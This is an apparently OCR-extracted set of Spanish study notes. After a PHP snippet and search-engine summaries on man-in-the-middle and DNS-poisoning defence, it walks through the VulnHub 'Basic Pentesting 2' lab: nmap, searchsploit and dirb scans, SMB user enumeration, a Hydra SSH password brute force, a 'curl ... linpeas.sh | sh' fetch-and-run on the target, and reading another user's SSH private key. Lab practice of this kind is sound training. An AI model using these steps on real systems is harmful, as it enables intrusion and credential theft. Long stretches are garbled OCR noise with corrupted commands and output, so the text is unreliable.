WGe | quWwl Wt YAWqRWOWWe ¢ wt WOqUUHRE W WWIIt Hée GUa

}

-Ascomentarios = isset($ POST['comentarios']) ? $mysqli->real escape string($_POST['comentarios']) : '
$stmt = $mysqli->prepare("SELECT * FROM historial WHERE empleado = ? ORDER BY id DESC limit 1");
$stmt->bind param("i“, $ SESSION[ 'empleado id']);
$stmt->execute();
$historial = $stmt->get result();
if (shistorial->num_rows > 0) {

$historial = $historial->fetch assoc();
$stmt->close(); I
if (!(in_array($tipo, $tipos([$historial['tipo*]]['opciones']))) {
http_response_code(200);
echo json encode(['status' => 'ko', 'message' => 'Tipo de fichaje no permitido.']);
exit();
}
}
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Google man in the middle

¢ URL extranas o mal escritas en la barra de direcciones. & rortinet +2

Prevencion y Proteccion

« Evitar Wi-Fi publicas: No realizar transacciones bancarias ni compras en redes Wi-
Fi abiertas O[I;"ospechosas

Usar VPN: Una Red Privada Virtual (VPN) cifra el trafico entre el dispositivo y el
servidor, protegiendo los datos incluso si la red es interceptada.

Verificar HTTPS: Asegurarse de que los sitios web utilicen el protocolo https:// y
el icono del candado.

Autenticacion Multifactor (MFA): Anade una capa de seguridad para que, si roban
la contrasena, no puedan acceder a la cuenta.

Actualizar Software: Mantener enrutadores, navegadores y sistemas operativos
actualizados para parchear vulnerabilidades. @ incige +3

O 9 Wi f[fWAx7xf9 E
¢ AU Dt WOYWqUWIRAI ¢t WHYUOUWWt qYAWqWWl ¢ wa Ct WGl R2¢ H

EOWNUUPI ctdAWee! WeadnNe UVt WES OWhe WWGe 3T 3OWI WaqldHEaqd

EOWe U¢ WHE ¢ WIIt W ¢ | pY lldue OWE 101z R10 Y 1¢ Wike £ IS0 16 &y ¢ WR U q 13
e JWE ¢! ¢ Wt GYY3UNAWNgHB WEYUW W1 2RHERYY Wia! WHEI Vi
T UqUHEqc! oWRe C AR UWGYT WG Y WquUW we UwWAe 3O W e RGY L
ql camvenr YOWNMMEWI3HRIIUqIt 1O

OVaVYWIt qY W oawt cgYYs0Unwt YOVYLW DWGe UT JWEGN2¢ 1 WE WH
qlt qUYW DWhe Rij UWIt qCWIULWG ¢ W T WaYHE OB

palo alto networks

4 Vista creada con IA

Palo Alto Networks, con sede en Santa Clara, California, es una empresa lider mundial
en ciberseguridad, especializada en cortafuegos de préxima generacion (NGFW),
seguridad en la nube y proteccién de terminales basada en inteligencia artificial . Sirve a
mas de 70,000 organizaciones en mas de 150 paises, incluyendo 85 de las Fortune
100. @ sien

AcavYW dqVYwWwdt WeUeWwWIaGl It ¢ Whue JwaYUqe waCrue RUGH WGe |
OYHCOWGE! ¢cWI2Rae!l W GYY3UnNeWeRUIUWDUWRYUWe UWLIGT YV #!
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Go gle como evitar envenamiento de dns >

Para evitar el envenenamiento de DNS (cache poisoning), es crucial implementar
DNSSEC (Extensiones de Seguridad DNS) para verificar la autenticidad, utilizar DNS
sobre HTTPS (DoH) para cifrar consultas, y emplear resolutores DNS de confianza.
Ademas, se recomienda vaciar la caché DNS periédicamente y usar una

VPN. € Akamai +2

Aqui te detallamos las mejores practicas de seguridad:

« Implementar DNSSEC: Es la medida mas efectiva, ya que firma digitalmente los
registros DNS, asegurando que la informacion no haya sido manipulada. Y

« Utilizar DoH o DoT: Usar DNS over HTTPS (DoH) o DNS over TLS (DoT) cifra las
consultas DNS, evitando que atacantes en la red intercepten y modifiquen las
respuestas.

» Uso de servidores DNS seguros: Configurar servidores DNS reputados y seguros
(como Google 8.8.8.8 o Cloudflare 1.1.1.1) que tengan implementados sistemas de
deteccion de suplantacion.

« Limpiar la caché DNS ( flush ): Vaciar periédicamente la caché DNS del equipo
ayuda a eliminar entradas maliciosas.

« Actualizar sistemas: Mantener los servidores DNS y el software de red
actualizados para corregir vulnerabilidades.

* Uso de VPN: Una red privada virtual cifra todo el trafico, incluyendo las consultas
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https://download.vulnhub.com/basicpentesting/basic_pentesting_2.tar.gz
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6 debian (2026-01-30)

© Apagada |
) oo oo e

© Apagada

Sistema virtual 1

¥64P™ Metaexploit %s Nombre basic_pentesting_2

U

© Apagada &8 Tipo de SO invitado 3 Ubuntu (64-bit)
%P kali @ cpu L

© Apagada 8 ram 1024 MB

%) DVD 2

.gg m:mdowslo £ Controlador USB a8

© Apagada

{0 Tarjeta de sonido 8 ICH AC97

x64P™ csec Carpeta base de maquina: C:\Users\Academia\VirtualBox VMs

Y Apagada

Politica de direccion MAC: Generar una nueva direccion MAC para todos los adaptadores de ’

Opciones adicionales: @ Importar discos como VDI

Ayuda Terminar Cancelar



OWie INYWIWWEYUWG Yt We Uc W2 WAWHI el ¢ Wié¢wdcCheRUE a Ll
o =M= 2
Vi W TeWse#RWOT YWae WI+GaYaqeHRZUWI WG ¢ W= DAua Crue

x JWGI WNaUqé¢We UWHY G GRLWE WEH ¢t WEMaZYOWAI Ywz2 30 We L
220001 ¢cARGRT ¢T WEYI W?2?20EAWOYWqRIOIW WUqRT YWGY! hue
GYNI ¢l WaqRI ¢ Wié¢wacCrueRUEG IO

Opab =M=2

OVYI | WNRGYYt Wic¢c W=DAUG Chue RUc Wec W20l ¢l alWmbAect RAX GIIC

basic_pentesting_2 [Corrlenda] - Oracle VirtualBox

=R 0l @ @ Cirl Derecho
eIG Y WHcdmsyYVHYTUI2 100 Yt WORUNZUWet 2¢l RYWGe! ¢ WHYUWF
écOYt WeWucitRa
MWOWql Rt Y211 a

20 Captured ARP Req/Rep packets, from 17 hosts, Total size: 1568

At WAC Address MWAC Vendor / Hestnane

192.108.1.1

192.168.1.33 314 )
192.103.1.34 192:9¢C:92:93; 3 nitrastar Technelogy Corp.
192.168.1.86 60:32:b1:58:32:4d 1 68 TP-LINK TECHNOLOGIES CO.,LTD

x YWl Wt #2 Al RG Yt 1O
Yl ¢cWaNWée#IGYH We UWGRUNDW! WeUYqea VYt WRUNY

1 192.168.1.33 88:90:27:97:62:de 60 PCS Systemtechnik GrbH

6Yl cWwacUAcaYt W G¢cG



/home/alLfonso
«1.33
PING 192 (192.168.1.33) 56{84) bytes of data.
bytes from 192.108 icrp_seg=1 t1l=04 Lime=0.397

bytes f 192,168
bytes from 192.168.1

icep_seqer3 til=64 timer9.643 ms
1cwp_seqg=d ttl=04 time=0.362

1
bytes from 192.168.1.) Lonp_seqe2 ttls6h time=0.547
% B

192.168.1,33 ping statistics ==
4 packets transnitted, o received, O% packet loss, ti
rit minfavg/max/mdev = B.362/0.487/0.643/0.113 ms

/home/al fonso

/home/alfonso
192.168.1.33

M WU Gpé #E pULdGHIN & = KON X Y FON KOO O

/howe /sl fonso
192.166.1.33
Starting Mmap 7.05 ( https://rwap.org ) 18:47 CESY
Nnap scan report for 192.168.1.33
Host is wp (0.00872s latemcy).
NOL shown: 835529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubunty 4ubummtu.& (Ubunte Linux; protoc
ol 2.8)
| ssh-hostkey:
2048 db:45:cb:be:4a:80:71:f8:49
250 09 ¢0:bf: [ ¢:8 f ¢ (ECRSA)
I_ 256 a5:6 : 5 : - 7 (ED25519)
80/tcp open ] che httpd 2.4.18 ((Ubumtu))
| http-title: Site doesn't have & tithe (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp  open | Sanba sabd 3.0 = 4.X (workgroup: WORKGROUR)
A45/tcp open nethios-ssa Sanba sabd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8089/tcp open ajpll Apache Jsery (Protecol vi.3)
| ajp-mcthods:
| Supported methods: GEY MEAD POST OPTIONS
BORR/tcp open http Apache Tomcat 9.6.7
|_http-open-proxy: Proxy might be redirecting reguests
I_http-favicon: Apache Tomcat

Az Dl qYW=Z=ZW HRWUI qVYIO
Az Dl qYWYMall Ge#HGE1J

Az 1Jl qYWNOdallE¢ G H¢ IOWBY o MIURH WEY § X WP AORIOT Yst Ale Wt
ql ¢cHETYWGU!I qUUUIHDGYY IOWx YWT JWEE G He WIIt We UWt 31 2 RHEF
DOWe Uc¢ WG ¢chve RUCWGE ! ¢WHYGGE! qRI W T AWt 31 2RARY WqF
CTORURYt ql ¢T VI WO@WRIGRACWODUYRRERME IGYT | Rc G Y WGaGNUNE I

i RUT Yst WEWI 2101 Weihue JW2eé¢awl RUWI Yb

74 e - > 'a O %.3. LI-UDWICE | WOIR + BJHRONU
8809/tcp open  ajpl Apache Jserv {Protaocol v1.3)
ajp-methods
Supported nmethods: GET HEAD POST OPTIONS
iiaa/tcp open Apache Tomcat 9.0.73
http—open-proxy: Proxy might be redirecting “Vequests

http-favico Apache Tomcat
_http=title: Apache Tomcat/9.9.7
MAC Address: OS:09:27:07:02:0€ (PCS Systentechnik/oracle virtuwaipox virtwal sIc)
Device Lype: general purpose
Rumaing: Linux 3.X|4.X

¢UGYt Wagec GARIjUW GeHG6WWNY O HCE B

OYGWUAcGYt WGY! WUGWG2 Ul qYW==a



6Yl ¢cWHzat HC a

MLt 3¢ | RS SCE IV REELE WT 0= G =

OpeasSSH 7.2p2
[1] Could mot find EDB-ID 2

Exploit: Sanba 2.2.x = Renote Buffer Overflow

URL: https://wuw. exploit-db.con/exploits/7
Path: fusr/share/exploitdb/exploits/Uinux/remote/7.pl

Codes: 05YOB-4469, CVE-2803-0201
verified: True
File Type: Perl script text executable
Copied to: Jhome/alfonse/7.pl

AYT I Rewt I WROqUI Wt ¢ UquWER! Ywovwdt qcuwilw~uaget Gay

Path

< 7 - Username Emumeration Unux/remote/ J.py

7.7 = Username Emumeration (Pol) Lanux/remote/4 Py

Denlal of Service Linux/dos/40888.py
Username Enureration Linux/remote /40136, py
"usePrivilegeseparation pisabled’ rForwarded umix Do | linux/local/489e2,txt

- agent Protocol Arbitrary Library Loading Linux/remote/409 Xt

- User Enemeratiom (2) Linux/remot

d - Username Enumeration Linux/remote/

Shellcodes: No Results

YW ¢ HUII We OWa Wgqet GaiYRaqWnCHRGO WGe 13t WIJt qY W I R

L
TRIJI CWIGW GuVYRaL! We W WAE! B

0wy
GRI R
- | Limux/remote /48136 . py
Exploit: OpenSSH 7.2p2 - Username Esuseration
URL: https://wa. exploit-dh.com/exploits/40136
Path: Jusr/share/exploitdb/exploits/Linux/resote/40138,py
Codes:

Verified: False
File Type: Pythom script, ASCII text executable

Copled to: /home/alfonse/4«0136.py

hydra.restore

MWOEUYWNMNOZIOG! WGe !l ¢ W21 WHRYGGYW2¢ WIGW YadavYs
x YWz JwWe UWGYHY W! Wt Wz 3t qRZOWI YWGI YHe ! a

=

WG! q6 VYU ol oE!16H1 Jos YNDDERNEY EDNOBO WY 2 1Oq # q LW



40136.py fusr/share/wordlists/rockyom.txt 192.168.1.33

User nane enuneration against SSH daemons affected by CVE-2016-0210
Created and coded by &_o (nuit.nuil [at] yaheo.com), PoC by Eddie Marard

Traceback (most recemt call last):

File

File
users = f.readlines()
Flle

1J G
21

?2¢ WGI YA

a aqct s
Ge IJt W2Yd

R
G Yt WeE hue RIO
f UqUUqé¢ WG YA WHY ULWIIG WO # o FOWE 13 W Y Wi

Limux/remote /48113, txt
OpenSSHd 7.2p2 - Usernane Enumeration
https://wa, exploit-dh.con/exploits /40113
Jusr/share/exploitdb/exploits/Tinux/resote/40113, txt
CVE-2016-6210
False
Pythoa script, ASCII text executable
Jhone/alfonse/40113. txt

Exploit:
URL:

Path:
Codes:
Verified:
File Type:
Copled to:

48113.1TXC

40136 .pv

hydra.restare

L |
X YWGuuw w YowsYa YWRUY ql e #HRY U WGE

WEE¢HG Yt Whe WWIFRY qW! W ¢ HIG Yt Whe

IJt #¢l Ne W W

CWITWHEz2 qc !l O

Yal ¢t WHY ¢t W w2va2ul WIOWHet YW JWeqet #Hel UV a

Al 2 JAC WE W2 131 W RWIIt qCWE AR qYWIGW + 6

root§i92.168.1,33
The authentici of host '192,3168.1.33 (192,168.1,33)"
ED23519 key fingerprint is: SHAZIG:XKjDKLKochZ jCcheTp
This key is not knowm by any other names.
Are you @ YOU want to comtimue commecting (yes/me/[fingerprint])? yes
102.148.1.33" (ED29%10) to the list of kmowm hosts.

can't be established
IW1PELPUZ DU TEZA 4 MDA+ 04

Warming: Permanently added
=& BARNING: connection 1s not wsing a post-guantum key exchange algorithm.
*+ This session may be vulnerable to “store mow, decrypt later® attacks.
w& The server may nced to be upgraded. Soe https://openssh.con/pg.htnl

root§ioz.168.1.33"'s password:

6YIl ¢W2¢lWeé Wi ¢ Ws WHa

W weyYaGl e IlJAC



Kaui |

- Aplicaciones  Lugares

5 1923681

C @ O & NotSecure

5] Import bookmarks OffSec Kali Linux @& Kali Toaols KaliDos X

Undergoing maintenance

Please check back later

~Rl ¢ Wt RWqRWUWWI YAYqt tog+qWl! WagecdGYRYWaqRIJUW
EUqYUHDt Wt DWGRE B We Wet ¢ 1 We ULW
M LUT &Rd oG 0 o N ® = ION X Y ON KOO O

START _TIME: Mon Mar 38 19:01:42 2026
URL_BASE: Attp://192.188.1.33/
WORDLIST_FILES: Jusr/share/dirb/wordlists/common, txt

GENERATED WORDS: &612

- Scanming URL: | ://192.168.1.33/ —--
http: §2.168.1.33/deve lopwent/
L168.1.33/index. hinl (CODE:200|SI2E:158)
.168.1.33/server-status (CODE: 403 |SIZE:308)

--— Entering directory: hify .168.1.33/development /
(1) WARNING: Directory IS LISTABLE. Mo need to scam it.
(Use mode '-w' af you want to scam 1t aayw Y)

DOWMNLOADED: 4612 - FOUND: 2

ndex of [development

@ ) 5 Not Secure

5] kmport bookmarks OffSec Kali Linux 8 Kasli Toals KaliDocs X Kali Forums Kali Neth{s

Index of /development

Name Last modified Size Description
J Paren: Directory -
3] devxt 2018-04-23 14:52 483
2 L:*Lr 2018-04-23 13:10 235

Apaches2.4.18 (Ubuntu) Server at 192.168.1.33 Vort 80



Al WS Y WS W3 H6 131 Y WGE! ¢ W21l Wheij WIOHRYUql ¢ GVt a
2 132 t0q # q LU

C 0 J > Not Secure

5] Import bookmarks = Kabi Linux @8 Kalli Tools KaliDocs X Kali Forums Kali' RetHunter

Acl WHWO W2 Uc wHYU21I1 t ¢HRZU

Efaql ¢lJ0Yt allmbs wll DARWqRUUII We U¢e WGet + s YT W ij ARG Wt U

Acl DHIUDWhe DWbu wlld e Weel RaeT YWa e WGet + 5 Y1 T W 1JWmbs wiOW
2UWs6YUWNGS WDWARGGII 1O

x ¢ WROT W+ Wt qCwllWie UqWURERIVIUqYW! W RI AWOY WO Y WG «

eYU200Yt WeWaqWGecWEcGHcaWECOGHe Wna URRYUc UT YWGe I3t L
| ARzl + Yt WHYGGE! qRT Yt AWT RI UEqY!I RYt AWRGGI It YI ¢t 8L
RUqUUqel wWwyUa a3l ¢l WqVYT ¢ Wi ey igmEs £ #RZUWT 1JWIIE 1J WE
EVW2¢ We Wt eW? AR UW! wWwyoOwW WUT WRUqUUq¢ W23l a

t GHa oo N®ZIONZ Y IONKOO

< 2 anonymeus en 192.168 1.33

all xl

EURe DUql ¢ WeUcWHE! GUagec WcUZURGcecWadacechGel ¢Wmw UYU! GYe

ccWIUHRYOq! ¢T YWe U¢ WHE ! GUqE WHY & GRILUGR 1J eyl I 6 e (ke
sc¢cU

x VWt ¢ He W WG W3 HG61I Yibt q¢ o togq* qwa



Announcement to X
staff;

PLEASE do not
upload non-work-
related items to this
share. | know it's all
in fun, but

this is how mistakes
happen. (This
means you too,
Jan!)

-Kayf

Aviso para el
personal:

FOR FAVOR, no
suban a esta carpeta
archivos que no
estén relacionados
con el trabajo, Se
que s una broma,
pero

asi es coma ocurren
los errores. (jEsto
también va para ti,
Jan!)

-Kay

Et qYWOYH WGe BT YWt W1 BHRITMEs £ OWGSYT 131 W6 e #1131 we UL

OVGYWSe! We UWEC G ACIOWERIIG G 13U elRTIAR I eapc Uq I WIIHG ¢ |

Et WAYGYWe UWI+GaYRqWNUUII RAYWGE! ¢ Wi Che RUCH Ws RUT Y
Hel GUqcet AWRAGGI It Y1 ¢t AWGWI GRt RYGYNREB

écOVYt We Wt ¢lRa
MUz 0NdRUz2 # WUN®=HKNZY ONHKOO
OWwaeUAe

dc¢ca

//192,168.1, 33/Anonymous

MT_STATUS_OBJECT_XAME_NOT_FOUND Listing \»
//192.168.1.33/IPCS N/A

rassword: |j

AYUNRNYWnTEeHRUqYWWGY ! WITWGGOYW! WaWWicecUA¢a



800 Unix User\kay (Local User)
1601 Unix User\jam (Local User)

1

212168-2008227510-3551 B68-501 BASICZ2\mobody (Local %,‘scr)
212168-2008227510-3 53669-513 BASICZ2\None (Domain Gtoup)

EGGRIDAcULWIC We Gel WHDI WHYY Racet a
ovVaYW2WaYt WiecWsWI I ¢caRWUqe WU NiaRUa+WIU2 G131 ¢ Wa
WG WNI eGYWI UWal ¢HETYWbi 8Au] Ag§OAb s

Lookinmg up status of 162.168.1.3

BASIC2 <e> B <ACTIVE> Workstatiom Service

BASIC2 <03> - B cACTIVE> Nessenger Service

BASIC2 <28 B CACTIVE> T TR O
.__MSBROWSE__. <P)> « <GROUP> B <ACTIVE> Naster Browser

NORKGROUP <09> - <GROUP> B <ACTIVE> Domain/Workgroup Name

NORKGROUP cid> B <ACTIVE> Noster Browser

NORKGROUP cle> - <GROUP> B <ACTIVE> Hrcu'.erl Service Electioms

WAC Address = 00-00-80-80-00-0B

y (Local User)
2-3-1001 unirxdser\jam (Local vser)

x Yt Wet 2 ¢l RWAL QI tca dU! RINTHCWG Y He G 1At Whe JWIUHRG ¢ WUY
EGW RI DAQYI RYWI W UOYU! GYet Whe JWe Uqdt wOYE W6 ¢ Wi 13t

NORKGROUP

J /192 .168.1.33/Anonymous

MT_STATUS_OBIECT_NAME_NOT_FOUND listing \#
J/192.168.1,33/1PCS N/A

Al YAcOGVYt WeWwWserHIl WeUOWH + 6 WIGE!] ¢ WTE! a
MLETICE b NP = FON X Y FON FOO O
Al 2l JH¢cW2¢ | Ret WGetH s Y1 T+ W ij ARGEJtcUsG I Y We O Waldl A1 L
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jan Jusr/share/wordiists/rockyou.txt ssh://192,168.1.33
Hydra v0.6 (c) 2023 by van Mauser/THC & David Maciejak - Please do mot use in military or secret serva
ce organizations, or for illegal purposes (this 1s nos-bindimg, these «++ ignore laws and ethics amywa
y)

Hydra (https://eithed . com/vanhauser-the/the-hydra) starting at 2026-83-38 19:19:08

[WARNING] Mamy SSH configurations limit the number of parallel tasks, it is recosmended to redwce the
tasks: use -t &

(WARNING] Re refile (you have 18 seconds to abort... (use option -I to skip waiting)) from a previos
s session foend, to prevent overwriting, ./hydra.restore

MLWG 'dl WddUubEt | ot 6¢1 WosVYI T ORt qt o! Ye! YelOoq#qlltt 6aooN
GWaRUzt Ha G ¢ WGY! hue lJWt ¢ AWG Y WG Wet e¢ !l RYW! WAWGe! =t

Et qYW2c¢c¢WeWagel T ¢l WeUWAaWOWI ¢ qVYOWx JPIWIGE WG YniJWhe |
GeWT WUWHE GARGE! WOVYt WERGYY WGE ! ¢ Whuewywzeée! ¢ wacCt wl CGF

cner un

jan -P Jusr/share/wordlists/rockyou.txt ssh://192.168.1.33 er algu
Hydra v9.6 (c) 2023 by von Hauser/THC & David Maciejak - Please do mot use in military or secret serva
ce organizations, or for illegal purposes (this is nom-bindimg, these s+ ignore Laws and ethics anywa
y)
Hydra (https://githed . com/vanhauser-the/the-hydra) starting at 2026-63-38 19:19:08

(WARNING] Mamy SSH configurations limit the number of parallel tasks, it is recommended to redwce the

[WARNING] Restorefile (you have 12 seconds to abort... (use eption -1 to skip walting)) from a previoe
s session fownd, to prevent overwriting, ./hydra.restore
[DATA] max 18 tasks per 1 server, overall 16 tasks, 14344399 login tries (L:3/p:14344399),

22/

el

376.80 tries/min, 376 tri in 80:01h, 14384027 to do in 635:50h, 12 active
sh] host: 192.168.1.33 login: Ja password: armande
1 of 1 target successfully completed, 1 valid password found
[warNING] Writing restore file because & fimal worker threads did net complete umtil end.
[ERROR] 4 targets did mot resolve or could mot be conmected
[ERROR] ® target did not complete
Mydra (https://githeb.com/vanhauser-thc/thc-hydra) finished at 2026-03-30 19:21:49

I RWhue Da

M LW THe6Ob N @ = FON 5 Y FON HOO O

owOVYH WaWqUua Vvt wrRYUWG e WGetttsYITIHO
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Al YWOYWaqUUUa VY WGYH RARGRT ¢ T W ywrYU2101 qRI UOYH WIUOL
Mme Ucm DI Y W RAV W JWIt q¢ Y WIUWOH2 Uge W! We 6 Yl ¢ W!

GUI YWOYWGYT Wavt waryYU2131 qrRI OVt wulWwl YYqUWGY! e I3WmT ¢


mailto:jan@192.168.1.33

SROGWANW WEYI quT wll  RWhe WWH2 RT ¢ T Y Whe WHe ¢ 07 ¥ Wu
RUqUUaqgel YWseHDII WeUOWt 2T YW e AWct RWhue WH2 RT ¢ 1T Y Whe |

MWER qYI ! Wow2aGY+ WOYWt JWaynyeWaerwsYALW ¢ aJ0Wa R L
M L £ W

jangbasic2:~% sudo -1
[swdo) passwerd For jan:
Sorry, try again.
[sudo] password for jan:
Sorry, user jan nay not rum swio on basic2,
] a51c2:~% sudo su
[sudo] password for jan:
jan 1s not im the swdoers file. This imcident will be reported.
jangbasic2:~$ history
1 pwd
whoand
sudo 1
sudo -1
sudo su
info
Uname
uname -1
uname -a

2
3
)
5
6
7
B

janibasic2:

total 12

druxr-xr-x 2 root root 40806 Apr 23 2018 .

druxr-xr-xX 4 root rootl 4896 Apr 19 2018
ws= 1 root jan 47 Apr 23 2018

Jhonme/ jan

Jamabasic2:~3 15 -a

: Jdesshst

jangbasic2:~§ cd lesshst

«bash: cd: lesshst: Mo such file or directory
janabasic2:-$ cat .|

MUWHAEC qWUKOG It 61 q

total 12
druxr-xr-x 2 root rool 489¢ Apr 2018
rukr-xr-x & root root 4896 Apr 1% 2018

1 root Jan 2018 .lesshst
jangbasic2:~§ pwd
Jhoe/ jan
jangbasic2:~% 1s

Jdesshet

jangbasic2:~5 cd 1esshst
-Dash: cd: lesshst: No such file or directory
jangbasic2:~%§ cat .lesshst
cat: .lesshst: Permission denied
Jangbasic2:~% 1s ~1
ol @
janjbasic2:~5 1s -la
total 12
druxr-xr-x 2 root root 480¢ 3 2018

& root s NI18

1 root jan 47 r 23 2018 .lesshst

-3 i
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xcW RN2RWUqUW6 W | ¢caRIUqeE WE We qRIRAC] IOWAe 13t LW RLWG I

Géet el aWWaUWRWGadGeT YI W JWGEYH RAJt AR cEH UIJI ¢ HRGRT ¢ T 1

OYGRC WG WHAZIT RDYLWI WiW] RoqéaHCa
C @ O 8 githubcom B o
4] Impoct bookmarks OffSec Kali Linux @8 Kali Tools KaliDocs X Kali Forums Kali NetHunter Exploit-DB Google Macking DB

lInPEAS
Files =

masier

smaller and faster linpeas scripts | and speed purposes.
v (0 select the checks you want to build

hat by dafault, in the ra ages of thes reposaory, you will find a linpeas with all the checks

Differences between linpeas fat.sh, linpeas.sh and
linpeas_small.sh:

+ linpeas_lat.sh: Contans all chacks, aven ihird party applcations in basst4 embedded
+ linpeas.sh: Con a ks, but only the Wird party applic: Linux exploit suggester is embedded
the delaull Ling

« linpeas small.sh: Conlaing only Ihe most inporfans checks making its size smaller

Quick Start

Find |he latest versions of all the scripts and binaries in

[N

0

= UL L BLTPE:Z/QLUNUD. CON/PLass «NQ/PEASS NG/ e LEAses/ Lates L/ 0on 100/ LINpeas. &n | 0
CONTRIBUTING md

‘73n}b¢uc2:~$ curl -L https://github.con/peass-ng/PEASS-ng/releases/latest /domnload/Linpeas.sh | sh
% Total % Recelved % Xferd Average Speed Time Time Time (urrent
Pload Wpload Total Spest Left Speed
[ (] (] 0 ~=iv=i smwd T

0

IRl YoN @ PL veclor
: You should take a look into it
: Users with console
Users without console & mounted devs
Greem: Common things (users, groups, SVUID/SGID, mounts, .sh scripts, cromjobs)
: Your usernane

Ayl T ¢l WhueWdWedNYWIUOWUel ¢UT¢col YTYWGe Ut WH2RT ¢T YE
eNaYt WHYY Ract a

Acl DRV We DWYIawt W1 0VGWqRUIUVUWG! YAGWGCEt B Wbt e HE Y Wal
x2lNYW2uavYt WicWGe! qul DwWwavyt wt #Yt gt a



NI ¢t Wal We UWAe WUUN fe qA WE ¢ WRUN YWYl WHRT ¢ WGY! LW

U OWEEWEX WEO®?§WOWE WJd Whe W WAWI Rea Vi WHY UL Une RI L
61G Yt Whe WWqRUWGE Y Whe JWIHERGe | We UW2 Rt qé¢ AV WE G WGEH t 3
EHGCI WYTVYWEWact Wt W3+ W+ Wl Wt ¢! B

reot@xalk /nomefalforso

-re-ru-r— 1 kay kay 771 Apr 23 2018 /home/kay/.ssh/

550-r5a AAAABINZAC1YC2EAAAADADABAAACAQCZAS De JHOF T4 107Ky UXBONOC KIS 1a JqpAVES+E FRENE624R9qLAD 7LONDMYLIN fCuZKTAS Zugs
NG3xaBXTSFVWINEx2rPOrn | taMsb dAvey SXTuxLwbe 5iCaAy 1 0o THWOKGT faGvwc HX T LCT2SgHISRIS0/NAROICS 78y LxYTLDNMvkxL1J3¢VaVH)/
HMIld)l}ﬁ;}\b}E!EVUlﬂjAWﬂL)JDlfU\H“qUJNlL]thUGL%DCHNEJCR‘BDH@E;:JJILXG)dNLlEuﬂFKu/Tgl n7SIPSIDK JOMFASTARFhGCHP
NKS7 s bow don't have 10 type a lomg passeord amymore!

S _i— root root 801 Apr 17

r-r--r-- 1 root root 173 Apr 17 fetc/ss h_host_ecdsa_key
“ru=r==pr== 1 root root 93 Apr 17 2018 /etc/ssh/ssh_host_ed23519 key
re-r--r-- 1 root root 393 Apr 17 2018 Jet ] a_key

-ru-r—r— 1 kay kay 771 fApr 19 2618 /home/kay/.ssh/id_rsa

otLogin prohibit-password
PubkeyAuthentication yes
Perni tExptyPasswards no

ChallengeResponseduthentication no

were found

ates were found {out linited)
ACCVRAIZ] .pen
fetc/ssl/certs/ACEDICOM Root. pem
/certs/AC_RAIZ_FMMT=RON, pem
fetc/ Jcerts/actalis_muthentication Root_CA,pem
fete/ssl/eert SdTrust_Extermal_Root.pen
fetc/ssl/cert JdTrust_Low-Value vices_Root.pem
fetc/ssl/certs/AddTrust _Public_Services_Root.pen
fete/ssl/certs/AsdTrust_Qualified Certificates_Root.pen
fetc/ss\/certs/AffimTrust_Commercial.pen
fetc/ssl/certs/Affimirust _Networking.pen
fete/ssl/certs/AffimTrust_Premiun_ECC. pen
fetc/ss\ /certs/AffimTrest_Premiun. pem




Vi W e TelgedARjUalWAYt RAGUWHGE 2 JWG!I R2¢T ¢ W2e

Owovyt WIOre U0ql ¢ Wl WWG ¢t WHe Ge ARGRQRIJE B WEY q Y

NECOGARGFUOUWOYY WeecwyUuaYUql ¢T YWaYt W3HGEWI Y Whe JW6 ¢ ARG

/vininfo
Jdesshst

al
Jdeve loprent
ml/development/j. t

arching folder
“M=y==r== 1 root root @ Mar 3
L B S 1 root root @ Mar 39 13:37

Readable files be

{Uimited 109
Apr 17 2018
3 Apr 17 2018
42 Apr 19 291

generic/include/c g/wng31x/
2016 fusr/share/bycbu/desktop/byobu.desktop
are/info/dir
t 665 Apr 16 2016 hare/man/man8/wgcfg 8.9z
T 1624 Mar 14 2916 S are/man/mans /tdb .tdbtools.B.g2
8768 Dec 29 201 /

T 7867 May 6 201 s oc/tel H

t 31600 Feb 15 2 /open-¥ cols/plugins/vnsve/1ibve 50

T 10504 Mar 1 1 t .tdbtools
eneric/kermel/drivers/net/team/tean mode active
eneric/kernel /driv ower/ w3 1x_ ko
generic/kernel/drivers/net/tean/tesm_node_active
generic/kernel/drivers/power /wnsiix Ko

[ REHG I Y+ W YWz ¢t 3t W yw?2¢qVt s

91 T WURRCGUt WNRasB
Yl ¢cWRYNUW! WEeHa
MLWHET Wo IJqH

MUWHAEE qUGEt t 51

MEC QLW 6¢T Vs WeiGUI YWOYWI W WTE W20 WIaGW3HEE YW 134T



jamgbasic2:/etcS cat sh

shadow shadw shells
jangbasic2:/etcs cat shadow
cat: shadew: Permission deénied

Jangbasic2:/etcs cd Shome/kay/
Jasgbasic?: /howe/kay$ s
pass . bak

jan@basic2:/mowe/kays |}

4 Wa t

¢UWGet t IOHC T
M LUWEt+ W
eNWHYt ¢t a

joasgbasic2:/hore/Kays 1s -1a

total 48

drexr-xr-x 5 kay kay &0096 Apr 23 2018 .

druxr-xr-x root root 4006 Apr 2918 ..

™ kay kay 756 Apr 23 2018 .bash_history
~ru=r==r== 1 kay kay 220 Apr 17 2918 .bash_logout
r-r-—-r-- 1 kdy Kkay 3771 Apr 17 2918 .bashre
grex-—-—— Koy kay &006 hpr 2018 .cache

oAb root kay 119 Apr 23 2018 .lesshst
druxruxy-x kay hkay 4006 Apr 2018 .nano

™ kay kay ST Apr 2018 pass.bak
«r-r==r== 1 kay kay 635 Apr 17 2918 .profile
druxr-xr-x 2 Kay kay &006 Apr 23 2918 .ssh
-re-r-——-r-— 1 kay kay 0 Apr 2018 .swdo_as_admin_sweccessful
root kay 538 Apr 2018 .vaminfo
jangbasic?:/howe/kay$ cat .sudeo aduin successful
Janghasic?:/howe/kays

2ot b O

B it 0

P

mWHT WOt 6

m LG t

M LWl £ LW
Jan@basic2: /howe/kay/.sshs s
puthorized _keys 1d_rsa 1d_rsa.pubd
jargbasic2: /hore/Kay/.ssh$ 1s -la
total 28

drexr-xr-x 2 kKay kay 49096 Apr 2018 .,
druxr-xr-x 5 kay kay 4086 Apr 2018 ..

kKay kay 771 Apr 23 2018 autherized keys
kay 3326 Apr '
kKay kay 771 Apr
Jasghasic2:/howe/kay/ . sshy




UV W qUWZHG I YWt GURRe G W WqURUNYWEII 6 RY Y T Wi 13w
MUWHEE qWRT x| t ¢

-ru-r—r-— 1 kay kay 771 Apr 19 2848 id_rsa.pud
Jasabasic:/howe/kay/.55h$ cat 1d_rsa
BEGIN RSA PRIVATE XEY
Proc-Type: &, EXKCRYPTED
